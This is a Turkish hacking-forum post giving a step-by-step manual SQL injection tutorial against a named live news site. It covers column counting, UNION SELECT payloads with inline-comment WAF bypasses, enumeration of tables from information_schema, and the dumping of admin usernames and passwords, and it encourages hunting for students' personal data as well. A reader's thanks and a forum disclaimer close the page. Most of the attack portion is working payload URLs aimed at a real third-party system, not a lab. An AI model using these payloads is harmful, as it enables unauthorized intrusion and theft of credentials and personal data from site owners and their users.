Manuel SQL İnjection Waf Denemeleri #1

Butcherb3y

Uzman üye
1 Eyl 2022
1,356
1,045
Anıtkabir


Arkadaşlar basitten zora doğru bulduğum siteler de manuel SQL injection yaparak waff bypass nasıl geçeriz onu göstereceğim serinin ilk konusuna hoşgeldiniz.





Hedef site:




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=White]
[CENTER]

[COLOR="red"] [CENTER]http://www.everday.com/newsdetail.php?id=20'[/CENTER][/COLOR]




Öncelikle bakalım sitemiz de SQL injection açığı varmı?

Hedef sitemizin sonuna " ' " (Tek tırnak) koyuyoruz.


Evet hatamızı aldık.



Uyc8Bg.png




Sonra sitemizin kaç adet kolonu var ona bakalım bunun için ihtiyacımız olan kodu manuel SQL injection deneyenler biliyor değil mi?



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20+order+by+1--+-[/CENTER] [/COLOR]






floeU2.png




Evet 1 yaptığımız da hata ortadan kalkıyor sayfa normal haline dönüyor. 1 kısmında Biz sayfaya hata verdirmeyen son sayıya ulaşmaya çalışıyoruz değil mi? Ee o zaman ben 20 den başlamak istiyorum.







sCHotX.png




Sql hatasi aldık o zaman 20 den düşük kolonumuz var demektir.

Sırayla 20 den aşşağı "1" "1" eksilterek bakalım hangi sayı da hata almıyoruz?


19 SQL error

18 normal bir şekilde hatasız sayfa geliyor.





CWGlVd.png




Evet şimdi sitemizi hata almadan gösterebildik.

Arkadaşlar bu şekilde uğraşmak yerine başka bir kod deneyelim
Not : arkadaşlar ben 50 den düşük olduğunu tahmin ederek 50 ye kadar yazdım(otomatik yazdırdım uğraşmadım tek tek :)





Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20+group+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50--+-[/CENTER][/COLOR]




Yaptığımız zaman bakın SQL hatasının altında "INFO: Unknown column '19' in 'group statement' " diyor

Bu da demek oluyor ki kolonumuz 18



tAk5Oa.png




Kısa yoldan bulduk :) ama her site de işe yaramaz.

Dipnot




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"] [CENTER]order by da waff geçmediğimiz veya bir sonuç alamadığımız zaman bu kodu veya group by x olarak da deneyebiliriz[/CENTER][/COLOR]




Gelelim kolonlarımızı yansıtmaya



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]


yaptığımız zaman forbidden hatası alıyoruz. Aslında bu bir hata değil güvenlik duvarı. Altında ingilizce yazdığı gibi :)



K21K5y.png




Evet waff bypass bura da devreye giriyor.



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER][COLOR="red"]Dipnot Bazı waff bypass kodları(temelden ilerliyoruz değil mi?) 



/*!50000 xx */ 

/*!12345 xx */ 

/*!13337 xx */

/* */ 

/**_**/[/COLOR]

[/COLOR]

[CODE]



[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER]




[/CODE]





7qIYIo.png




Evet sadece union bypasslayarak selecti bypasslamaya gerek kalmadan sitemizdeki zaafiyetli olan kolonlarımızı yansıtmayı başardık.

( kodu yazdığımız da sayfa normal bir şekilde yanıt geliyor ise id değerinin başına "-" (tire) koymamız yeterli olacaktır. Yani id=-20)


Yansıttığımız kolonlardan birini seçelim. Ben 4 numarayı seçiyorum.



Veritabanının adını öğrenelim.

4 yerine database() yazıyoruz dimi? Yani kodumuz


Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=White]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]






wcPWIl.png




Ben tek tek yazdırmak yerine group_concat operatörünü kullanıp birden fazla şey yazdırmak istiyorum.




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(database(),0x3a,user(),0x3a,version(),0x3a,@@hostname),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/COLOR]




Evet veritabanı adı user versiyon ve hostname öğrenmiş olduk. Aralarına



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER][COLOR="red"]

Hex = : = 0x3a

Bildiğiniz html = "<Br>" bir alt satıra geçme yani. 

[/COLOR]




Koyarak ayrıştırmış oluyoruz.



mFGP1C.png




Şimdi database bağlı tablolarımızı listeleyelim.



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema=database()--+-[/COLOR]






ToLn6V.png




Tablolarımız web sitesinde sağa doğru giderek gösterir bizlere bazen ekrana sığmıyor olabiliyor. Bunun için

1-) sayfanın kaynak koduna bakmak yani site başına view-source: yada sağ tık "kaynağı görüntüle


2-) br koduyla tüm tabloları alt alta yazdırmak.



oYtHBu.png






Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema=database()--+-[/COLOR]




Tablolarımızı alt alta yazdık. Dikkatimi çeken ve bakmamız gereken tablo adımız

= Web_admin değil mi? Şimdi bide kolonlarını yazmaklamı uğraşacağız?




Yada gelin tablo ve kolonları ayrı ayrı çekmekle uğraşmayalım.



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=White]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name,0x3a,column_name,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.columns+where+table_schema=database()--+-[/CENTER][/COLOR]






zPKvAb.png




Arkadaşlar kodunuzu dikkatli bir şekilde inceleyelim. Nerde ne yapmışım doğru bir şekilde mantığını kavrayarak öğrenmemiz lazım.her site de bu kadar kolay bir şekilde çekemeyebiliriz



Bizim öğrenmemiz gereken user veya admin bilgileri dimi? Dikkatimi çeken tablo web_admin oldu




Kolonlarını da bakarsak adm_name,adm_pwd var bunları dump edelim şimdi.



Kod:
[/COLOR][/CENTER]
[COLOR=Plum]
[CENTER][COLOR="white"]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(adm_name,0x3a,adm_pwd,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+web_admin--+-[/COLOR]

[/COLOR]


Bakın 3 tane user varmış .

Yazdığımız kod kullanıcı adı : kullanıcı şifresi

Olarak tekâbul ediyor.



1dESCs.png






Veritabanını çektiğimiz de sadece admin kullanıcı adı ve şifresini alıp bırakmayalım. Başka tablolara da bakmayı unutmayalım..



Bu bir üniversite sitesi olsaydı belki de bu tabloların birinde öğrencilerine ait isim,soyisim,email,numara,TC,hangi bölüm, adres gibi şeyler de yer alabilirdi.





Arkadaşlar evet bu waff bypass konusu ama içeriğinde sizi uğraşmaktan kurtaracak bilgiler de yer almakta diye düşünüyorum. Burda yaptığımız manuel SQL injection da sadece union bypass ederek tüm bilgilere ulaşmış olduk ama bu en basit olanıydı.





Soranlar olacaktır evet, union bypassladık ama hala forbidden e takılıyorum?





Manuel SQL injection da bizim kendi sorgumuz da kullandığımız bütün parametrelerinin hepsini de bypasslamaya ihtiyacımız olabilir.





Düşünelim ki union bypassladık ama forbidden takılıyoruz hala



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]








select i bypassladık ve geçtik. Sayılarımızı yazdırdık.



Tablolarımızı yazdırdığımızda karşımıza yine forbidden geliyor varsayalım.



Arkadaşlarım güvenlik duvarı hangi operatöre izin vermiyor bilmiyoruz deneme yanılma yöntemiyle sırayla deniyoruz. Sadece "FROM" operatörünü bypasslayarak da geçebiliriz aşşağıda kodda ki gibi hepsini bypasslayadabiliriz.




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,/*!50000group_concat(table_name)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18+/*!12345from*/+/*!information_schema*/.tables+/*!50000where*/+/*!12345table_schema*/=database()--+-[/CENTER][/COLOR]






Şimdilik bu kadar arkadaşlar esenlikler.





Elinize sağlık burdan sadece okuyarak çok bişi anladım tabi pratikte yapmak lazım yine bı konuya bakarak yapacak teşekkürler bide bu kullandığınız hackbar mi?
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.